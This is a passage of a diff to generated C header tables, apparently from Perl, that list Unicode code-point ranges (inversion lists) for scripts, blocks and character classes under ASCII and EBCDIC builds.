0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, + 0x2CE5, + 0x2CEB, + 0x2CEF, + 0x2CF2, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D70, + 0x2D80, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, + 0x2DE0, + 0x2E00, 0x2E2F, - 0x2E3C, - 0x2E3D, - 0x3002, - 0x3003, - 0xA4FF, + 0x2E30, + 0x3005, + 0x3008, + 0x3021, + 0x302A, + 0x3031, + 0x3036, + 0x3038, + 0x303D, + 0x3041, + 0x3097, + 0x309D, + 0x30A0, + 0x30A1, + 0x30FB, + 0x30FC, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, + 0x31A0, + 0x31BB, + 0x31F0, + 0x3200, + 0x3400, + 0x4DB6, + 0x4E00, + 0x9FD6, + 0xA000, + 0xA48D, + 0xA4D0, + 0xA4FE, 0xA500, - 0xA60E, + 0xA60D, 0xA610, - 0xA6F3, - 0xA6F4, - 0xA6F7, - 0xA6F8, - 0xA876, - 0xA878, - 0xA8CE, + 0xA62C, + 0xA640, + 0xA66F, + 0xA674, + 0xA67C, + 0xA67F, + 0xA6F0, + 0xA717, + 0xA720, + 0xA722, + 0xA789, + 0xA78B, + 0xA7AF, + 0xA7B0, + 0xA7B8, + 0xA7F7, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA828, + 0xA840, + 0xA874, + 0xA880, + 0xA8C4, + 0xA8C5, + 0xA8C6, 0xA8D0, - 0xA92F, + 0xA8DA, + 0xA8F2, + 0xA8F8, + 0xA8FB, + 0xA8FC, + 0xA8FD, + 0xA8FE, + 0xA900, + 0xA92B, 0xA930, - 0xA9C8, - 0xA9CA, - 0xAA5D, + 0xA953, + 0xA960, + 0xA97D, + 0xA980, + 0xA9B3, + 0xA9B4, + 0xA9C0, + 0xA9CF, + 0xA9DA, + 0xA9E0, + 0xA9E5, + 0xA9E6, + 0xA9FF, + 0xAA00, + 0xAA37, + 0xAA40, + 0xAA4E, + 0xAA50, + 0xAA5A, 0xAA60, + 0xAA77, + 0xAA7A, + 0xAA7B, + 0xAA7E, + 0xAABF, + 0xAAC0, + 0xAAC1, + 0xAAC2, + 0xAAC3, + 0xAADB, + 0xAADE, + 0xAAE0, 0xAAF0, 0xAAF2, + 0xAAF6, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, + 0xAB5B, + 0xAB5C, + 0xAB66, + 0xAB70, 0xABEB, - 0xABEC, - 0xFE52, - 0xFE53, - 0xFE56, - 0xFE58, - 0xFF01, - 0xFF02, - 0xFF0E, - 0xFF0F, - 0xFF1F, - 0xFF20, - 0xFF61, - 0xFF62, - 0x10A56, - 0x10A58, - 0x11047, - 0x11049, - 0x110BE, - 0x110C2, - 0x11141, - 0x11144, + 0xABF0, + 0xABFA, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xF900, + 0xFA6E, + 0xFA70, + 0xFADA, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFB1D, + 0xFB29, + 0xFB2A, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFBB2, + 0xFBD3, + 0xFD3E, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFC, + 0xFE70, + 0xFE75, + 0xFE76, + 0xFEFD, + 0xFF10, + 0xFF1A, + 0xFF21, + 0xFF3B, + 0xFF41, + 0xFF5B, + 0xFF66, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, + 0x10140, + 0x10175, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x10300, + 0x10320, + 0x10330, + 0x1034B, + 0x10350, + 0x1037B, + 0x10380, + 0x1039E, + 0x103A0, + 0x103C4, + 0x103C8, + 0x103D0, + 0x103D1, + 0x103D6, + 0x10400, + 0x1049E, + 0x104A0, + 0x104AA, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10860, + 0x10877, + 0x10880, + 0x1089F, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x10900, + 0x10916, + 0x10920, + 0x1093A, + 0x10980, + 0x109B8, + 0x109BE, + 0x109C0, + 0x10A00, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A60, + 0x10A7D, + 0x10A80, + 0x10A9D, + 0x10AC0, + 0x10AC8, + 0x10AC9, + 0x10AE5, + 0x10B00, + 0x10B36, + 0x10B40, + 0x10B56, + 0x10B60, + 0x10B73, + 0x10B80, + 0x10B92, + 0x10C00, + 0x10C49, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x11000, + 0x11046, + 0x11066, + 0x11070, + 0x11082, + 0x110B9, + 0x110D0, + 0x110E9, + 0x110F0, + 0x110FA, + 0x11100, + 0x11133, + 0x11136, + 0x11140, + 0x11150, + 0x11173, + 0x11176, + 0x11177, + 0x11180, + 0x111C0, + 0x111C1, 0x111C5, - 0x111C7, - 0x111CD, - 0x111CE, - 0x111DE, - 0x111E0, + 0x111D0, + 0x111DB, + 0x111DC, + 0x111DD, + 0x11200, + 0x11212, + 0x11213, + 0x11235, + 0x11237, 0x11238, - 0x1123A, - 0x1123B, - 0x1123D, + 0x1123E, + 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, 0x112A9, - 0x112AA, + 0x112B0, + 0x112E9, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133D, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134D, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11364, + 0x11400, + 0x11442, + 0x11443, + 0x11446, + 0x11447, 0x1144B, - 0x1144D, - 0x115C2, - 0x115C4, - 0x115C9, + 0x11450, + 0x1145A, + 0x11480, + 0x114C2, + 0x114C4, + 0x114C6, + 0x114C7, + 0x114C8, + 0x114D0, + 0x114DA, + 0x11580, + 0x115B6, + 0x115B8, + 0x115BF, 0x115D8, + 0x115DE, + 0x11600, + 0x1163F, + 0x11640, 0x11641, - 0x11643, - 0x1173C, - 0x1173F, - 0x11A42, - 0x11A44, - 0x11A9B, - 0x11A9D, + 0x11644, + 0x11645, + 0x11650, + 0x1165A, + 0x11680, + 0x116B6, + 0x116C0, + 0x116CA, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172B, + 0x11730, + 0x1173A, + 0x118A0, + 0x118EA, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C37, + 0x11C38, + 0x11C3F, + 0x11C40, 0x11C41, - 0x11C43, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, + 0x11C50, + 0x11C5A, + 0x11C72, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16AD0, + 0x16AEE, + 0x16B00, 0x16B37, - 0x16B39, + 0x16B40, 0x16B44, - 0x16B45, + 0x16B50, + 0x16B5A, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F7F, + 0x16F93, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, + 0x1BC9E, 0x1BC9F, - 0x1BCA0, - 0x1DA88, - 0x1DA89 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_SUND_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1B80, - 0x1BC0, - 0x1CC0, - 0x1CC8 -}; - -static const UV PL_SUNDANESESUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1CC0, - 0x1CD0 -}; - -static const UV PL_SUPARROWSA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x27F0, - 0x2800 -}; - -static const UV PL_SUPARROWSB_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2900, - 0x2980 -}; - -static const UV PL_SUPARROWSC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F800, - 0x1F900 -}; - -static const UV PL_SUPERANDSUB_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2070, - 0x20A0 -}; - -static const UV PL_SUPMATHOPERATORS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2A00, - 0x2B00 -}; - -static const UV PL_SUPPUAA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF0000, - 0x100000 -}; - -static const UV PL_SUPPUAB_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x100000, - 0x110000 -}; - -static const UV PL_SUPPUNCTUATION_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2E00, - 0x2E80 -}; - -static const UV PL_SUPSYMBOLSANDPICTOGRAPHS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F900, - 0x1FA00 -}; - -static const UV PL_SUTTONSIGNWRITING_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, + 0x1D400, + 0x1D455, + 0x1D456, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D51E, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D552, + 0x1D6A6, + 0x1D6A8, + 0x1D6C1, + 0x1D6C2, + 0x1D6DB, + 0x1D6DC, + 0x1D6FB, + 0x1D6FC, + 0x1D715, + 0x1D716, + 0x1D735, + 0x1D736, + 0x1D74F, + 0x1D750, + 0x1D76F, + 0x1D770, + 0x1D789, + 0x1D78A, + 0x1D7A9, + 0x1D7AA, + 0x1D7C3, + 0x1D7C4, + 0x1D7CC, + 0x1D7CE, 0x1D800, - 0x1DAB0 -}; - -static const UV PL_SYLO_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x964, - 0x966, - 0x9E6, - 0x9F0, - 0xA800, - 0xA82C -}; - -static const UV PL_SYRC_invlist[] = { /* for all charsets */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x60C, - 0x60D, - 0x61B, - 0x61D, - 0x61F, - 0x620, - 0x640, - 0x641, - 0x64B, - 0x656, - 0x670, - 0x671, - 0x700, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x750, - 0x860, - 0x86B -}; - -static const UV PL_SYRIACSUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x860, - 0x870 -}; - -static const UV PL_TAGB_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1735, - 0x1737, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774 -}; - -static const UV PL_TAGS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xE0000, - 0xE0080 -}; - -static const UV PL_TAIXUANJING_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1D300, - 0x1D360 -}; - -static const UV PL_TAKR_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x964, - 0x966, - 0xA830, - 0xA83A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA -}; - -static const UV PL_TALE_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1040, - 0x104A, - 0x1950, - 0x196E, - 0x1970, - 0x1975 -}; - -static const UV PL_TALU_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x19E0 + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E900, + 0x1E944, + 0x1E947, + 0x1E948, + 0x1E950, + 0x1E95A, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x1F130, + 0x1F14A, + 0x1F150, + 0x1F16A, + 0x1F170, + 0x1F18A, + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E }; -static const UV PL_TAML_invlist[] = { /* for all charsets */ - 47, /* Number of elements */ +static const UV XPosixAlpha_invlist[] = { /* for EBCDIC 1047 */ + 1315, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, + 0x42, + 0x4A, + 0x51, + 0x5A, + 0x62, + 0x6A, + 0x70, + 0x79, + 0x80, + 0x8A, + 0x8C, + 0x8F, + 0x91, + 0x9D, + 0x9E, + 0x9F, + 0xA0, + 0xA1, + 0xA2, + 0xAA, + 0xAC, + 0xAD, + 0xAE, + 0xAF, + 0xBA, + 0xBB, + 0xC1, + 0xCA, + 0xCB, + 0xD0, + 0xD1, + 0xDA, + 0xDB, + 0xE0, + 0xE2, + 0xEA, + 0xEB, + 0xF0, + 0xFB, + 0xFF, + 0x100, + 0x2C2, + 0x2C6, + 0x2D2, + 0x2E0, + 0x2E5, + 0x2EC, + 0x2ED, + 0x2EE, + 0x2EF, + 0x345, + 0x346, + 0x370, + 0x375, + 0x376, + 0x378, + 0x37A, + 0x37E, + 0x37F, + 0x380, + 0x386, + 0x387, + 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, + 0x3F6, + 0x3F7, + 0x482, + 0x48A, + 0x530, + 0x531, + 0x557, + 0x559, + 0x55A, + 0x561, + 0x588, + 0x5B0, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F3, + 0x610, + 0x61B, + 0x620, + 0x658, + 0x659, + 0x660, + 0x66E, + 0x6D4, + 0x6D5, + 0x6DD, + 0x6E1, + 0x6E9, + 0x6ED, + 0x6F0, + 0x6FA, + 0x6FD, + 0x6FF, + 0x700, + 0x710, + 0x740, + 0x74D, + 0x7B2, + 0x7CA, + 0x7EB, + 0x7F4, + 0x7F6, + 0x7FA, + 0x7FB, + 0x800, + 0x818, + 0x81A, + 0x82D, + 0x840, + 0x859, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, + 0x8D4, + 0x8E0, + 0x8E3, + 0x8EA, + 0x8F0, + 0x93C, + 0x93D, + 0x94D, + 0x94E, 0x951, - 0x953, + 0x955, 0x964, - 0x966, + 0x971, + 0x984, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, + 0x9BD, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CD, + 0x9CE, + 0x9CF, + 0x9D7, + 0x9D8, + 0x9DC, + 0x9DE, + 0x9DF, + 0x9E4, + 0x9F0, + 0x9F2, + 0xA01, + 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4D, + 0xA51, + 0xA52, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA70, + 0xA76, + 0xA81, + 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, + 0xABD, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACD, + 0xAD0, + 0xAD1, + 0xAE0, + 0xAE4, + 0xAF9, + 0xAFA, + 0xB01, + 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, + 0xB3D, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4D, + 0xB56, + 0xB58, + 0xB5C, + 0xB5E, + 0xB5F, + 0xB64, + 0xB71, + 0xB72, 0xB82, 0xB84, 0xB85, @@ -349442,71 +55240,11 @@ static const UV PL_TAML_invlist[] = { /* for all charsets */ 0xBC6, 0xBC9, 0xBCA, - 0xBCE, + 0xBCD, 0xBD0, 0xBD1, 0xBD7, 0xBD8, - 0xBE6, - 0xBFB, - 0x1CDA, - 0x1CDB, - 0xA8F3, - 0xA8F4, - 0x11301, - 0x11302, - 0x11303, - 0x11304, - 0x1133C, - 0x1133D -}; - -static const UV PL_TANG_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16FE0, - 0x16FE1, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3 -}; - -static const UV PL_TANGUTCOMPONENTS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x18800, - 0x18B00 -}; - -static const UV PL_TAVT_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAA80, - 0xAAC3, - 0xAADB, - 0xAAE0 -}; - -static const UV PL_TELU_invlist[] = { /* for all charsets */ - 33, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x951, - 0x953, - 0x964, - 0x966, 0xC00, 0xC04, 0xC05, @@ -349522,717 +55260,1508 @@ static const UV PL_TELU_invlist[] = { /* for all charsets */ 0xC46, 0xC49, 0xC4A, - 0xC4E, + 0xC4D, 0xC55, 0xC57, 0xC58, 0xC5B, 0xC60, 0xC64, - 0xC66, - 0xC70, - 0xC78, 0xC80, - 0x1CDA, - 0x1CDB -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_TERM_invlist[] = { /* for ASCII/Latin1 */ - 195, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x21, - 0x22, - 0x2C, - 0x2D, - 0x2E, - 0x2F, - 0x3A, - 0x3C, - 0x3F, - 0x40, - 0x37E, - 0x37F, - 0x387, - 0x388, - 0x589, - 0x58A, - 0x5C3, - 0x5C4, - 0x60C, - 0x60D, - 0x61B, - 0x61C, - 0x61F, - 0x620, - 0x6D4, - 0x6D5, - 0x700, - 0x70B, - 0x70C, - 0x70D, - 0x7F8, - 0x7FA, - 0x830, - 0x83F, - 0x85E, - 0x85F, - 0x964, - 0x966, - 0xE5A, - 0xE5C, - 0xF08, - 0xF09, - 0xF0D, - 0xF13, - 0x104A, - 0x104C, - 0x1361, - 0x1369, - 0x166D, - 0x166F, - 0x16EB, - 0x16EE, - 0x1735, - 0x1737, - 0x17D4, - 0x17D7, - 0x17DA, - 0x17DB, - 0x1802, - 0x1806, - 0x1808, - 0x180A, - 0x1944, - 0x1946, - 0x1AA8, - 0x1AAC, - 0x1B5A, - 0x1B5C, - 0x1B5D, - 0x1B60, - 0x1C3B, - 0x1C40, - 0x1C7E, - 0x1C80, - 0x203C, - 0x203E, - 0x2047, - 0x204A, - 0x2E2E, - 0x2E2F, - 0x2E3C, - 0x2E3D, - 0x2E41, - 0x2E42, - 0x3001, - 0x3003, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA6F3, - 0xA6F8, - 0xA876, - 0xA878, - 0xA8CE, - 0xA8D0, - 0xA92F, - 0xA930, - 0xA9C7, - 0xA9CA, - 0xAA5D, - 0xAA60, - 0xAADF, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0xFE50, - 0xFE53, - 0xFE54, - 0xFE58, - 0xFF01, - 0xFF02, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1C, - 0xFF1F, - 0xFF20, - 0xFF61, - 0xFF62, - 0xFF64, - 0xFF65, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x10A56, - 0x10A58, - 0x10AF0, - 0x10AF6, - 0x10B3A, - 0x10B40, - 0x10B99, - 0x10B9D, - 0x11047, - 0x1104E, - 0x110BE, - 0x110C2, - 0x11141, - 0x11144, - 0x111C5, - 0x111C7, - 0x111CD, - 0x111CE, - 0x111DE, - 0x111E0, - 0x11238, - 0x1123D, - 0x112A9, - 0x112AA, - 0x1144B, - 0x1144E, - 0x1145B, - 0x1145C, - 0x115C2, - 0x115C6, - 0x115C9, - 0x115D8, - 0x11641, - 0x11643, - 0x1173C, - 0x1173F, - 0x11A42, - 0x11A44, - 0x11A9B, - 0x11A9D, - 0x11AA1, - 0x11AA3, - 0x11C41, - 0x11C44, - 0x11C71, - 0x11C72, - 0x12470, - 0x12475, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B3A, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA87, - 0x1DA8B -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_TERM_invlist[] = { /* for EBCDIC 1047 */ - 197, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x4C, - 0x5A, - 0x5B, - 0x5E, - 0x5F, - 0x6B, - 0x6C, - 0x6F, - 0x70, - 0x7A, - 0x7B, - 0x37E, - 0x37F, - 0x387, - 0x388, - 0x589, - 0x58A, - 0x5C3, - 0x5C4, - 0x60C, - 0x60D, - 0x61B, - 0x61C, - 0x61F, - 0x620, - 0x6D4, - 0x6D5, - 0x700, - 0x70B, - 0x70C, - 0x70D, - 0x7F8, - 0x7FA, - 0x830, - 0x83F, - 0x85E, - 0x85F, - 0x964, - 0x966, - 0xE5A, - 0xE5C, - 0xF08, - 0xF09, - 0xF0D, - 0xF13, - 0x104A, - 0x104C, - 0x1361, - 0x1369, - 0x166D, - 0x166F, - 0x16EB, - 0x16EE, - 0x1735, - 0x1737, - 0x17D4, - 0x17D7, - 0x17DA, - 0x17DB, - 0x1802, - 0x1806, - 0x1808, - 0x180A, - 0x1944, - 0x1946, - 0x1AA8, - 0x1AAC, - 0x1B5A, - 0x1B5C, - 0x1B5D, - 0x1B60, - 0x1C3B, - 0x1C40, - 0x1C7E, - 0x1C80, - 0x203C, - 0x203E, - 0x2047, - 0x204A, - 0x2E2E, - 0x2E2F, - 0x2E3C, - 0x2E3D, - 0x2E41, - 0x2E42, - 0x3001, - 0x3003, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA6F3, - 0xA6F8, - 0xA876, - 0xA878, - 0xA8CE, - 0xA8D0, - 0xA92F, - 0xA930, - 0xA9C7, - 0xA9CA, - 0xAA5D, - 0xAA60, - 0xAADF, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0xFE50, - 0xFE53, - 0xFE54, - 0xFE58, - 0xFF01, - 0xFF02, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 